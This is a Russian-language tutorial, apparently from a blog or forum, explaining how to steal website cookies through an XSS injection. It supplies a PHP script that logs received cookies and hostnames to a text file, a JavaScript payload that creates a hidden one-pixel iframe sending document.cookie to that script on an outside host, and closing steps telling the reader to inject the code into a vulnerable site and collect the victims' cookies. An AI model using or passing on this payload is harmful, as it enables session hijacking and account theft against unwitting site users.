Как и обещал в предыдущей статье, сейчас я расскажу Вам, как же работает xss.
Рассчитываем что при переходе на этот этап мы уже нашли место для xss инъекции (прочитать как можно найти эти места читайте тут) и готовы к инъекции.
Для начала немного теории, как 'это' будет происходить: - Так как кукисы для сайта браузер может отдать только этому сайту (по правилам безопасности браузеров) мы должны написать javascript, который будет грузиться на сайте, брать куки и передавать php скрипту что бы тот сохранил значения кукисов. Итак, план наших действий: 1. пишем скрипт который делает невидимое iframe окно и передает ему куки; 2. пишем содержимое для iframe окна на php, которое будет записывать параметры которые мы передаем ему на вход.
А теперь подробней, но наоборот (то есть я начну рассказ с конца, так по идее будет понятней): 2. Нам нужен сайт который будет все входящие ссылки анализировать и записывать все параметры в текстовый файл на сервере. Немного повозившись, я получил следующий код: Code $file = fopen("cookies.txt","a"); fputs($file,"[" . date("d.m.y H:i") . "]: host=".$_GET['host'].", COOKIES=".$_GET['cook']."\r\n"); fclose($file); ?>
где мы: fopen - открываем файл "cookies.txt", в который будем записывать куки. fputs - записываем в файл следующие данные: date(текущую дату); host (сайт, откуда пришли); COOKIES - ну и собственно все что у нас в куках есть. И на последок fclose что бы закончить работу с файлом.
То есть к этому файлу необходимо обращаться со следующими параметрами: http://xss.hut2.ru/x/file.php?host=elio.at.ua&cook=none (Я сразу выложил скрипт на тестовый сайт, подробнее о нем тоже в предыдущей статье о xss)
Хорошо, с последним шагом вроде разобрались, переходим к первому.
1 Нужно написать скрипт который бы вызывал это окно и передавай в параметры host(домен) и cook(куки). Только и этот шаг мы разобьем на два шага. Большой и маленький. 1.2 Скрипт iframe будет длинноватый, поэтому лучше его записать в отдельный файл типа *.js а в программе вызывать его по коду: Code <script src="xss.js"></script> (так проще внедрять его, и он менее заметный) 1.1 А теперь сам javascript: Code document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'file.php'+'?host='+location.host+'&cook='+document.cookie+'"></iframe>'); По вызову его мы делаем iframe размерами 1х1 пиксель, даем ему параметр - невидимый(visibility:hidden). И собственно открываем php страницу описанную в шаге 2 (file.php), и передаем параметры: location.host и document.cookie.
Вроде бы все. Теперь создаете возле 2-х файлов еще файл cookies.txt, куда записываться все параметры будут. Ищем на сайте уязвимое место, вставляем туда код, и после этого наблюдаем за файлом cookies.txt. В нем будут скидываться куки.
Файлы моего скрипта лежат тут:
|